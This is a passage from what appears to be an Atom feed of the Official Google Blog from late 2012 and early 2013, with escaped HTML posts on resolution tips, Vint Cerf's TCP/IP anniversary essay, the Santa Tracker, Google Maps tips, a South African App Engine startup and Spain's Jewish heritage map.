+&lt;li&gt;Use &lt;a href="http://www.google.com/flights/"&gt;Google Flight Search&lt;/a&gt; to quickly compare flight times and costs across airlines. Try the “tourist spotlight†feature on &lt;a href="http://www.google.com/hotelfinder/#search;si="&gt;Google Hotel Finder&lt;/a&gt; to find a room near the hottest spots in the city.&lt;/li&gt;
+&lt;li&gt;Simply type [tourist attractions &amp;lt;city name&amp;gt;] into Google Search to see some of the &lt;a href="https://www.google.com/search?q=tourist+attractions+buenos+aires"&gt;top points of interest&lt;/a&gt;. Once you have a list of the things you want to do and see, keep it in one place and share it with your travel buddies using &lt;a href="https://docs.google.com/previewtemplate?id=0AkgIu-1H_qbEdGRaVENUQzA5SFpBWHpTcWZWYlVnWHc&amp;amp;mode=public"&gt;Google Sheets&lt;/a&gt;.&amp;nbsp;&lt;/li&gt;
+&lt;li&gt;Never get lost with &lt;a href="http://maps.google.com/help/maps/helloworld/tips/travel.html"&gt;Google Maps&lt;/a&gt;. Whether your plans are local or &lt;a href="http://maps.google.com/help/maps/helloworld/android/directions.html#feature-android-offline"&gt;international&lt;/a&gt;, &lt;a href="http://maps.google.com/help/maps/helloworld/android/directions.html#feature-android-indoor"&gt;indoors&lt;/a&gt; or &lt;a href="http://maps.google.com/help/maps/streetview/gallery/index.html"&gt;out&lt;/a&gt;, comprehensive and accurate Google Maps can help you find your way.&lt;/li&gt;
+&lt;/ul&gt;
+&lt;b&gt;&lt;br /&gt;
+&lt;/b&gt; &lt;b&gt; Learn something new&lt;/b&gt;&lt;br /&gt;
+&lt;ul&gt;
+&lt;li&gt;Learn how to &lt;a href="http://www.youtube.com/watch?v=-N5CLZiLOwU"&gt;hone your yoga practice&lt;/a&gt; or &lt;a href="http://www.youtube.com/watch?v=0jl1P507AvE"&gt;crochet a granny square&lt;/a&gt; by following the steps of experts on YouTube. If classroom style learning works better for you, try joining a &lt;a href="http://www.google.com/+/learnmore/hangouts/"&gt;Google+ Hangout&lt;/a&gt; or &lt;a href="http://www.google.com/+/learnmore/communities/"&gt;Community&lt;/a&gt; to learn how to &lt;a href="https://plus.google.com/+DanielIbanez/posts/QX2EK4W15tU"&gt;paint&lt;/a&gt;, &lt;a href="https://plus.google.com/+LarryFournillier/posts"&gt;cook&lt;/a&gt; or &lt;a href="https://plus.google.com/communities/112260687631793896685"&gt;knit&lt;/a&gt; from people who share your interests and passions.&lt;/li&gt;
+&lt;li&gt;Try a free language learning app like the &lt;a href="https://chrome.google.com/webstore/detail/learn-spanish-qu%C3%A9-onda-sp/pmcdjmebmeoobmdghjbjhbifoocbcmaj"&gt;Que Onda&lt;/a&gt; Spanish app for Chrome or the &lt;a href="https://play.google.com/store/apps/details?id=com.busuu.android.pt&amp;amp;feature=search_result#?t=W251bGwsMSwxLDEsImNvbS5idXN1dS5hbmRyb2lkLnB0Il0."&gt;Busuu Portuguese language app&lt;/a&gt; for Android.&lt;/li&gt;
+&lt;li&gt;Keep up with current events or hone in on specific interests by personalizing your &lt;a href="https://news.google.com/"&gt;Google News&lt;/a&gt; and setting up &lt;a href="http://www.google.com/alerts"&gt;Google Alerts&lt;/a&gt; to receive information on specific topics directly in your email. If your inbox is already on overload, try the &lt;a href="https://play.google.com/store/apps/details?id=com.google.android.apps.currents&amp;amp;feature=search_result#?t=W251bGwsMSwxLDEsImNvbS5nb29nbGUuYW5kcm9pZC5hcHBzLmN1cnJlbnRzIl0."&gt;Google Currents app&lt;/a&gt; for news on the go.&lt;/li&gt;
+&lt;li&gt;Learning something new doesn’t have to break the bank. Check out &lt;a href="https://www.google.com/offers/"&gt;Google Offers&lt;/a&gt; for deals on classes for dancing, cooking, bartending and more.&amp;nbsp;&lt;/li&gt;
+&lt;/ul&gt;
+If your resolution wasn’t listed here, try checking out &lt;a href="https://plus.google.com/u/0/+selfmagazine/posts"&gt;SELF Magazine&lt;/a&gt;’s Google+ page with tips from experts, live via Google+ hangouts, for 13 more resolutions starting on January 13.&lt;br /&gt;
+&lt;br /&gt;
+&lt;a href="http://www.dominican.edu/dominicannews/study-backs-up-strategies-for-achieving-goals"&gt;Research shows&lt;/a&gt; that you’re more likely to achieve your resolutions if you write them down and have support. Try sharing your goals with &lt;a href="https://plus.google.com/communities/105008312335704126105"&gt;communities&lt;/a&gt; around you. When you’re ready to share your new year’s ambition with the world, or if you're interested in seeing what resolutions look like around the globe, add it to the &lt;a href="http://www.google.com/zeitgeist/2012/resolutions"&gt;interactive resolution map&lt;/a&gt; on our 2012 Zeitgeist website.&lt;br /&gt;
+&lt;br /&gt;
+&lt;div class="separator" style="clear: both; text-align: center;"&gt;
+&lt;a href="http://2.bp.blogspot.com/-0CgQvdqCzGw/UOHswD7LLAI/AAAAAAAAKjk/No4tcOisjuc/s1600/11VDBoYLpHIezGTHEFxBmj7v9JFdNcwM.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://2.bp.blogspot.com/-0CgQvdqCzGw/UOHswD7LLAI/AAAAAAAAKjk/No4tcOisjuc/s500/11VDBoYLpHIezGTHEFxBmj7v9JFdNcwM.png" width="500" /&gt;&lt;/a&gt;&lt;/div&gt;
+&lt;br /&gt;
+No matter who you are, the web can help you do anything. &lt;br /&gt;
+&lt;br /&gt;
+&lt;span class="byline-author"&gt;Posted by Liz Wessel, Associate Product Marketing Manager&lt;/span&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/MKuf/~4/iTzCFyAJNVU" height="1" width="1"/&gt;</content><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/10861780/posts/default/1608635992677892192?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/10861780/posts/default/1608635992677892192?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/blogspot/MKuf/~3/iTzCFyAJNVU/a-little-help-from-google-on-your-new.html" title="A little help from Google on your New Year’s resolutions " /><author><name>Emily Wood</name><uri>https://plus.google.com/112374322230920073195</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://img.youtube.com/vi/LXZRq3K1y-Q/default.jpg" height="72" width="72" /><feedburner:origLink>http://googleblog.blogspot.com/2013/01/a-little-help-from-google-on-your-new.html</feedburner:origLink></entry><entry gd:etag="W/&quot;DUUCQXczfyp7ImA9WhNUEE8.&quot;"><id>tag:blogger.com,1999:blog-10861780.post-1233638290754914028</id><published>2013-01-01T00:01:00.000-08:00</published><updated>2013-01-01T00:01:00.987-08:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2013-01-01T00:01:00.987-08:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="computing history" /><title>Marking the birth of the modern-day Internet</title><content type="html">&lt;i&gt;Today is the 30th birthday of the modern-day Internet. Five years ago we marked the occasion with &lt;a href="http://www.google.com/doodles/happy-new-year-25-years-of-tcpip" target="_blank"&gt;a doodle&lt;/a&gt;. This year we invited Vint Cerf to tell the story. Vint is widely regarded as one of the fathers of the Internet for his contributions to shaping the Internet’s architecture, including co-designing the TCP/IP protocol. Today he works with Google to promote and protect the Internet. -Ed.&lt;/i&gt;&lt;br /&gt;
+&lt;br /&gt;
+A long time ago, my colleagues and I became part of a great adventure, teamed with a small band of scientists and technologists in the U.S. and elsewhere. For me, it began in 1969, when the potential of &lt;a href="http://www.packet.cc/files/ev-packet-sw.html" target="_blank"&gt;packet switching&lt;/a&gt; communication was operationally tested in the grand &lt;a href="http://en.wikipedia.org/wiki/ARPANET" target="_blank"&gt;ARPANET&lt;/a&gt; experiment by the U.S. Defense Advanced Research Projects Agency (DARPA). &lt;br /&gt;
+&lt;br /&gt;
+Other kinds of packet switched networks were also pioneered by DARPA, including mobile packet radio and packet satellite, but there was a big problem. There was no common language. Each network had its own &lt;a href="http://en.wikipedia.org/wiki/Communications_protocol" target="_blank"&gt;communications protocol&lt;/a&gt; using different conventions and formatting standards to send and receive packets, so there was no way to transmit anything between networks. &lt;br /&gt;
+&lt;br /&gt;
+In an attempt to solve this, Robert Kahn and I developed a new computer communication protocol designed specifically to support connection among different packet-switched networks. We called it TCP, short for “Transmission Control Protocol,†and in 1974 we published a paper about it in IEEE Transactions on Communications: “&lt;a href="http://www.cs.princeton.edu/courses/archive/fall06/cos561/papers/cerf74.pdf" target="_blank"&gt;A Protocol for Packet Network Intercommunication&lt;/a&gt;.†Later, to better handle the transmission of real-time data, including voice, we split TCP into two parts, one of which we called “Internet Protocol,†or IP for short. The two protocols combined were nicknamed TCP/IP. &lt;br /&gt;
+&lt;br /&gt;
+TCP/IP was tested across the three types of networks developed by DARPA, and eventually was anointed as their new standard. In 1981, Jon Postel published&amp;nbsp;&lt;a href="http://tools.ietf.org/rfc/rfc801.txt" target="_blank"&gt;a transition plan&lt;/a&gt;&amp;nbsp;to migrate the 400 hosts of the ARPANET from the older NCP protocol to TCP/IP, including a deadline of January 1, 1983, after which point all hosts not switched would be cut off.&lt;br /&gt;
+&lt;br /&gt;
+&lt;a href="http://4.bp.blogspot.com/-erdVu3tz5J8/UOB0kUf44uI/AAAAAAAAAkI/hP2ohFzxY_w/s1600/vint1973.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="175" src="http://4.bp.blogspot.com/-erdVu3tz5J8/UOB0kUf44uI/AAAAAAAAAkI/hP2ohFzxY_w/s175/vint1973.jpg" width="138" /&gt;&lt;/a&gt;&lt;a href="http://2.bp.blogspot.com/-920CgB0yOus/UOB0mkYL1_I/AAAAAAAAAkQ/DyeumsP6GLg/s1600/robertkahn.jpeg" imageanchor="1" style="clear: left; display: inline !important; margin-bottom: 1em; margin-right: 1em; text-align: center;"&gt;&lt;img border="0" height="175" src="http://2.bp.blogspot.com/-920CgB0yOus/UOB0mkYL1_I/AAAAAAAAAkQ/DyeumsP6GLg/s175/robertkahn.jpeg" width="150" /&gt;&lt;/a&gt;&lt;a href="http://2.bp.blogspot.com/-basjA_0v9pw/UOB0oDvo7lI/AAAAAAAAAkY/wP3LzvStEC0/s1600/jonpostel.jpeg" imageanchor="1" style="clear: left; display: inline !important; margin-bottom: 1em; margin-right: 1em; text-align: center;"&gt;&lt;img border="0" height="175" src="http://2.bp.blogspot.com/-basjA_0v9pw/UOB0oDvo7lI/AAAAAAAAAkY/wP3LzvStEC0/s175/jonpostel.jpeg" width="116" /&gt;&lt;/a&gt;&lt;br /&gt;
+&lt;div style="text-align: center;"&gt;&lt;i&gt;&lt;span style="font-size: x-small;"&gt;&lt;br /&gt;
+&lt;/span&gt;&lt;/i&gt; &lt;i&gt;&lt;span style="font-size: x-small;"&gt;From left to right: Vint Cerf in 1973, Robert Kahn in the 1970’s, Jon Postel&lt;/span&gt;&lt;/i&gt;&lt;/div&gt;&lt;br /&gt;
+When the day came, it’s fair to say the main emotion was relief, especially amongst those system administrators racing against the clock. There were no grand celebrations—I can’t even find a photograph. The only visible mementos were the “I survived the TCP/IP switchover†pins proudly worn by those who went through the ordeal!&lt;br /&gt;
+&lt;br /&gt;
+&lt;div style="text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/-okvtFrHvORQ/UOB17-TjSCI/AAAAAAAAAkk/l0TUWBS3Zw8/s1600/tcptransitionbutton.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="194" src="http://3.bp.blogspot.com/-okvtFrHvORQ/UOB17-TjSCI/AAAAAAAAAkk/l0TUWBS3Zw8/s200/tcptransitionbutton.jpg" width="200" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
+Yet, with hindsight, it’s obvious it was a momentous occasion. On that day, the operational Internet was born. TCP/IP went on to be embraced as an international standard, and now underpins the entire Internet. &lt;br /&gt;
+&lt;br /&gt;
+It’s been almost 40 years since Bob and I wrote our paper, and I can assure you while we had high hopes, we did not dare to assume that the Internet would turn into the worldwide platform it’s become. I feel immensely privileged to have played a part and, like any proud parent, have delighted in watching it grow. I continue to &lt;a href="http://googleblog.blogspot.co.uk/2012/12/keep-internet-free-and-open.html" target="_blank"&gt;do what I can&lt;/a&gt; to protect its future. I hope you’ll join me today in raising a toast to the Internet—may it continue to connect us for years to come.&lt;br /&gt;
+&lt;br /&gt;
+&lt;span class="byline-author"&gt;Posted by Vint Cerf, VP and Chief Internet Evangelist&lt;/span&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/MKuf/~4/CnvdABr2GCY" height="1" width="1"/&gt;</content><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/10861780/posts/default/1233638290754914028?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/10861780/posts/default/1233638290754914028?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/blogspot/MKuf/~3/CnvdABr2GCY/marking-birth-of-modern-day-internet.html" title="Marking the birth of the modern-day Internet" /><author><name>Emily Wood</name><uri>https://plus.google.com/112374322230920073195</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://4.bp.blogspot.com/-erdVu3tz5J8/UOB0kUf44uI/AAAAAAAAAkI/hP2ohFzxY_w/s72-c/vint1973.jpg" height="72" width="72" /><feedburner:origLink>http://googleblog.blogspot.com/2013/01/marking-birth-of-modern-day-internet.html</feedburner:origLink></entry><entry gd:etag="W/&quot;CUUERX4zeCp7ImA9WhNVE0k.&quot;"><id>tag:blogger.com,1999:blog-10861780.post-8959603882457499653</id><published>2012-12-24T02:00:00.000-08:00</published><updated>2012-12-24T02:00:04.080-08:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2012-12-24T02:00:04.080-08:00</app:edited><title>Follow Santa live on Google Santa Tracker</title><content type="html">The North Pole air traffic control elves have just notified us that Santa has taken off! For the next day, you can visit the &lt;a href="http://www.google.com/santatracker/"&gt;Google Santa Tracker&lt;/a&gt; to see where Santa’s headed next and keep tabs on how many presents he’s delivered. You can also keep up with him on your smartphone and tablet with the &lt;a href="https://play.google.com/store/apps/details?id=com.google.android.santatracker"&gt;Android app&lt;/a&gt;, in your browser with the the &lt;a href="https://chrome.google.com/webstore/detail/santa-tracker/iodomglenhcehfbhbakhedmbobhbgjcb"&gt;Chrome extension&lt;/a&gt;, and even in 3D with &lt;a href="http://www.google.com/earth/download/ge/agree.html"&gt;Google Earth&lt;/a&gt; and &lt;a href="http://www.google.com/mobile/earth/"&gt;Google Earth mobile&lt;/a&gt; (look for it in the Tour Guide feature with the latest version of Google Earth).&lt;br /&gt;
+&lt;br /&gt;
+&lt;div style="text-align: center;"&gt;
+&lt;embed flashvars="host=picasaweb.google.com&amp;amp;captions=1&amp;amp;hl=en_US&amp;amp;feat=flashalbum&amp;amp;RGB=0x000000&amp;amp;feed=https%3A%2F%2Fpicasaweb.google.com%2Fdata%2Ffeed%2Fapi%2Fuser%2F101276679868918752026%2Falbumid%2F5824855058378270321%3Falt%3Drss%26kind%3Dphoto%26hl%3Den_US" height="307" pluginspage="http://www.macromedia.com/go/getflashplayer" src="https://picasaweb.google.com/s/c/bin/slideshow.swf" type="application/x-shockwave-flash" width="528"&gt;&lt;/embed&gt;&lt;br /&gt;&lt;/div&gt;
+&lt;br /&gt;
+And follow Google Maps on &lt;a href="https://plus.google.com/+GoogleMaps"&gt;Google+&lt;/a&gt;, &lt;a href="http://www.facebook.com/GoogleMaps"&gt;Facebook&lt;/a&gt; and &lt;a href="https://twitter.com/googlemaps"&gt;Twitter&lt;/a&gt; to get up-to-the-minute details on Santa’s journey around the world. &lt;br /&gt;
+&lt;br /&gt;
+Ho ho ho! Happy holidays everyone!&lt;br /&gt;
+&lt;br /&gt;
+&lt;span class="byline-author"&gt;Posted by Brian McClendon, VP of Google Maps and Google Earth&lt;/span&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/MKuf/~4/PKZ3-r11u90" height="1" width="1"/&gt;</content><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/10861780/posts/default/8959603882457499653?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/10861780/posts/default/8959603882457499653?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/blogspot/MKuf/~3/PKZ3-r11u90/follow-santa-live-on-google-santa.html" title="Follow Santa live on Google Santa Tracker" /><author><name>Emily Wood</name><uri>https://plus.google.com/112374322230920073195</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><feedburner:origLink>http://googleblog.blogspot.com/2012/12/follow-santa-live-on-google-santa.html</feedburner:origLink></entry><entry gd:etag="W/&quot;CUAFQXw8eSp7ImA9WhNVEE4.&quot;"><id>tag:blogger.com,1999:blog-10861780.post-4321924804456189384</id><published>2012-12-20T11:43:00.000-08:00</published><updated>2012-12-20T12:01:50.271-08:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2012-12-20T12:01:50.271-08:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="maps and earth" /><title>Tips for getting the most from Google Maps on iPhone</title><content type="html">We hope you’ve had a chance to try the new Google Maps app for iPhone (announced last week and available for download in the &lt;a href="https://itunes.apple.com/app/id585027354?mt=8"&gt;Apple App Store&lt;/a&gt;). The app is designed to be simple—just to work whenever you need it. Still, we have a few tips to make finding things with Google Maps even faster and easier. All the tips are collected on our &lt;a href="http://maps.google.com/help/maps/helloworld/iphone/quicktips.html"&gt;site&lt;/a&gt; but here a few of my favorites:&lt;br /&gt;
+&lt;ul&gt;
+&lt;li&gt;&lt;b&gt;Swipe to see more. &lt;/b&gt;In Google Maps a wealth of information is often just a swipe away. Whether you’re looking at search results or directions, you can swipe the bottom info sheet left and right to see other options. To get more details on any of the results, swipe that info sheet upward (or just tap it—that works too). Even with the info sheet expanded, you can swipe to see those other results.&lt;/li&gt;
+&lt;/ul&gt;
+&lt;ul&gt;
+&lt;li&gt;&lt;b&gt;Place a pin.&lt;/b&gt; Get more information about any location by just pressing and holding the map. The info sheet that pops up tells you the address, lets you save or share the place, and best of all, brings up...&lt;/li&gt;
+&lt;/ul&gt;
+&lt;ul&gt;
+&lt;li&gt;&lt;b&gt;Street View. &lt;/b&gt;By far the easiest way to get to Street View is placing a pin. Tap the imagery preview on the info sheet to enter into Street View, then explore! I recommend the look-around feature (bottom left button) which changes what you’re looking at as you tilt and move your phone.&lt;/li&gt;
+&lt;/ul&gt;
+Want to learn more? See the rest of our tips on the &lt;a href="http://maps.google.com/help/maps/helloworld/iphone/quicktips.html"&gt;site&lt;/a&gt;. And as you explore the app on your own, share your own tips using #googlemaps. Most of all, enjoy discovering your world.&lt;br /&gt;
+&lt;br /&gt;
+&lt;div class="separator" style="clear: both; text-align: center;"&gt;
+&lt;a href="http://2.bp.blogspot.com/-F_RugfiWZkk/UNNb4tNi-TI/AAAAAAAAKig/W2_x1GAoJAI/s1600/Screen%2BShot%2B2012-12-20%2Bat%2B10.31.33%2BAM.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://2.bp.blogspot.com/-F_RugfiWZkk/UNNb4tNi-TI/AAAAAAAAKig/W2_x1GAoJAI/s500/Screen%2BShot%2B2012-12-20%2Bat%2B10.31.33%2BAM.png" width="500" /&gt;&lt;/a&gt;&lt;/div&gt;
+&lt;br /&gt;
+&lt;span class="byline-author"&gt;Posted by Vicky Tait, Consumer Operations, Google Maps&lt;/span&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/MKuf/~4/TSAkF7sFCYw" height="1" width="1"/&gt;</content><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/10861780/posts/default/4321924804456189384?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/10861780/posts/default/4321924804456189384?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/blogspot/MKuf/~3/TSAkF7sFCYw/tips-for-getting-most-from-google-maps.html" title="Tips for getting the most from Google Maps on iPhone" /><author><name>Emily Wood</name><uri>https://plus.google.com/112374322230920073195</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://2.bp.blogspot.com/-F_RugfiWZkk/UNNb4tNi-TI/AAAAAAAAKig/W2_x1GAoJAI/s72-c/Screen%2BShot%2B2012-12-20%2Bat%2B10.31.33%2BAM.png" height="72" width="72" /><feedburner:origLink>http://googleblog.blogspot.com/2012/12/tips-for-getting-most-from-google-maps.html</feedburner:origLink></entry><entry gd:etag="W/&quot;DkEEQXczeyp7ImA9WhNVEE8.&quot;"><id>tag:blogger.com,1999:blog-10861780.post-1700822085371634100</id><published>2012-12-20T09:30:00.000-08:00</published><updated>2012-12-20T09:30:00.983-08:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2012-12-20T09:30:00.983-08:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="Africa" /><category scheme="http://www.blogger.com/atom/ns#" term="developers" /><title>Cloud computing enabling entrepreneurship in Africa</title><content type="html">In 2007, 33-year-old Vuyile moved to Cape Town from rural South Africa in search of work. Unable to complete high school, he worked as a night shift security guard earning $500/month to support his family. During the rush hour commute from his home in Khayelitsha, Vuyile realized that he could earn extra income by selling prepaid mobile airtime vouchers to other commuters on the train. &lt;br /&gt;
+&lt;br /&gt;
+In rural areas, it’s common to use prepaid vouchers to pay for basic services such as electricity, insurance and airtime for mobile phones. But it’s often difficult to distribute physical vouchers because of the risk of theft and fraud. &lt;br /&gt;
+&lt;br /&gt;
+&lt;a href="http://www.nomanini.com/"&gt;Nomanini&lt;/a&gt;, a startup based in South Africa, built a device that enables local entrepreneurs like Vuyile to sell prepaid mobile services in their communities. The Lula (which means “easy†in colloquial Zulu), is a portable voucher sales terminal that is used on-the-go by people ranging from taxi drivers to street vendors. It generates and prints codes which people purchase to add minutes to their mobile phones. &lt;br /&gt;
+&lt;br /&gt;
+Today, Vuyile sells vouchers on the train for cash payment, and earns a commission weekly. Since he started using the Lula, he’s seen his monthly income increase by 20 percent.&lt;br /&gt;
+&lt;br /&gt;
+&lt;div class="separator" style="clear: both; text-align: center;"&gt;
+&lt;a href="http://3.bp.blogspot.com/-KlTTWSwTYtI/UNMnPQYQl-I/AAAAAAAAKhc/1mCiudoVqtk/s1600/vuyile+(1).jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="400" src="http://3.bp.blogspot.com/-KlTTWSwTYtI/UNMnPQYQl-I/AAAAAAAAKhc/1mCiudoVqtk/s400/vuyile+(1).jpg" width="300" /&gt;&lt;/a&gt;&lt;/div&gt;
+&lt;div style="text-align: center;"&gt;
+&lt;i&gt;Vuyile prints a voucher from his Lula&lt;/i&gt;&lt;/div&gt;
+&lt;br /&gt;
+Nomanini founders Vahid and Ali Monadjem wanted to make mobile services widely available in areas where they had been inaccessible, or where—in a region where the average person makes less than $200/month—people simply couldn’t afford them. By creating a low-cost and easy-to-use product, Nomanini could enable entrepreneurs in Africa to go to deep rural areas and create businesses for themselves. &lt;br /&gt;
+&lt;br /&gt;
+In order to build a scalable and reliable backend system to keep the Lula running, Nomanini chose to run on &lt;a href="https://cloud.google.com/products/?utm_source=ogb&amp;amp;utm_medium=blog&amp;amp;utm_campaign=nomanini"&gt;Google App Engine&lt;/a&gt;. Their development team doesn’t have to spend time setting up their own servers and can instead run on the same infrastructure that powers Google’s own applications. They can focus on building their backend systems and easily deploy code to Google’s data centers. When Vuyile makes a sale, he presses a few buttons, App Engine processes the request, and the voucher prints in seconds. &lt;br /&gt;
+&lt;br /&gt;
+Last month, 40,000 people bought airtime through the Lula, and Nomanini hopes to grow this number to 1 million per month next year. While platforms like App Engine are typically used to build web or smartphone apps, entrepreneurs like Vahid and Ali are finding innovative ways to leverage this technology by building their own devices and connecting them to App Engine. Vahid tells us: “We’re a uniquely born and bred African solution, and we have great potential to take this to the rest of Africa and wider emerging markets. We could not easily scale this fast without running on Google App Engine.†&lt;br /&gt;
+&lt;br /&gt;
+To learn more about the technical implementation used by Nomanini, read their guest post on the &lt;a href="http://googleappengine.blogspot.com/2012/12/developer-insights-mobile-voucher-sales.html"&gt;Google App Engine blog&lt;/a&gt;.&lt;br /&gt;
+&lt;br /&gt;
+&lt;span class="byline-author"&gt;Posted by Zafir Khan, Google App Engine&lt;/span&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/MKuf/~4/TbkmJIsBlV4" height="1" width="1"/&gt;</content><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/10861780/posts/default/1700822085371634100?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/10861780/posts/default/1700822085371634100?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/blogspot/MKuf/~3/TbkmJIsBlV4/cloud-computing-enabling.html" title="Cloud computing enabling entrepreneurship in Africa" /><author><name>Emily Wood</name><uri>https://plus.google.com/112374322230920073195</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://3.bp.blogspot.com/-KlTTWSwTYtI/UNMnPQYQl-I/AAAAAAAAKhc/1mCiudoVqtk/s72-c/vuyile+(1).jpg" height="72" width="72" /><feedburner:origLink>http://googleblog.blogspot.com/2012/12/cloud-computing-enabling.html</feedburner:origLink></entry><entry gd:etag="W/&quot;DkQAQH0zfCp7ImA9WhNWGU4.&quot;"><id>tag:blogger.com,1999:blog-10861780.post-5628406967684624466</id><published>2012-12-19T08:25:00.003-08:00</published><updated>2012-12-19T08:25:41.384-08:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2012-12-19T08:25:41.384-08:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="culture" /><category scheme="http://www.blogger.com/atom/ns#" term="Europe" /><title>Explore Spain's Jewish heritage online</title><content type="html">You can now discover Spain’s Jewish heritage on a new site powered by comprehensive and accurate Google Maps: &lt;a href="http://www.redjuderias.org/google"&gt;www.redjuderias.org/google&lt;/a&gt;.&lt;br /&gt;
+&lt;br /&gt;
+Using the Google Maps API, &lt;a href="http://www.redjuderias.org/"&gt;Red de Juderías de España&lt;/a&gt; has built a site where you can explore more than 500 landmarks that shed light on Spain’s Jewish population throughout history. By clicking on a landmark, you can get historical information, pictures or texts, and a 360º view of the location, thanks to Street View technology. You can also use the search panel on the top of the page to filter the locations by category, type, geographic zone or date.&lt;br /&gt;
+&lt;br /&gt;
+&lt;div class="separator" style="clear: both; text-align: center;"&gt;
+&lt;a href="http://3.bp.blogspot.com/-ntJQdwwZNr4/UNHpASwsCpI/AAAAAAAAKgg/UrKGtiKDwYw/s1600/maps.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="276" src="http://3.bp.blogspot.com/-ntJQdwwZNr4/UNHpASwsCpI/AAAAAAAAKgg/UrKGtiKDwYw/s400/maps.png" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;
+&lt;div style="text-align: center;"&gt;
+&lt;i&gt;Toledo, Synagogue Santamaría la Blanca&lt;/i&gt;&lt;/div&gt;
+&lt;br /&gt;
+&lt;div class="separator" style="clear: both; text-align: center;"&gt;
+&lt;a href="http://4.bp.blogspot.com/-kRxbAy38icc/UNHo_UHTnuI/AAAAAAAAKgY/m3L9rgbzoMQ/s1600/maps-textos.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="276" src="http://4.bp.blogspot.com/-kRxbAy38icc/UNHo_UHTnuI/AAAAAAAAKgY/m3L9rgbzoMQ/s400/maps-textos.png" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;
+&lt;div style="text-align: center;"&gt;
+&lt;i&gt;Information is included on each landmark&lt;/i&gt;&lt;/div&gt;
+&lt;br /&gt;
+This project is just one of our efforts to bring important cultural content online. This week, we worked with the Israel Antiquities Authority to &lt;a href="http://googleblog.blogspot.com/2012/12/in-beginningbringing-scrolls-of-genesis.html"&gt;launch&lt;/a&gt; the &lt;a href="http://www.deadseascrolls.org.il/"&gt;Leon Levy Dead Sea Scrolls Digital Library&lt;/a&gt;, an online collection of more than 5,000 scroll fragments, and last year we announced a &lt;a href="http://googleblog.blogspot.com/2011/01/explore-yad-vashems-holocaust-archives.html"&gt;project&lt;/a&gt; to digitize and make available the Yad Vashem Museum’s Holocaust archives. With the &lt;a href="http://www.googleartproject.com/"&gt;Google Art Project&lt;/a&gt;, people around the world can also view and explore more than 35,000 works of art in 180 museums.&lt;br /&gt;
+&lt;br /&gt;
+Read more about this project on the &lt;a href="http://googlepolicyeurope.blogspot.com/2012/12/celebrating-recovery-of-spains-jewish.html"&gt;Europe Blog&lt;/a&gt;. We hope this new site will inspire you to learn more about Spain’s Jewish history, and perhaps to visit these cities in person.&lt;br /&gt;
+&lt;br /&gt;
+&lt;span class="byline-author"&gt;Posted by William Echikson, External Relations, Europe, Middle East and Africa&lt;br /&gt;
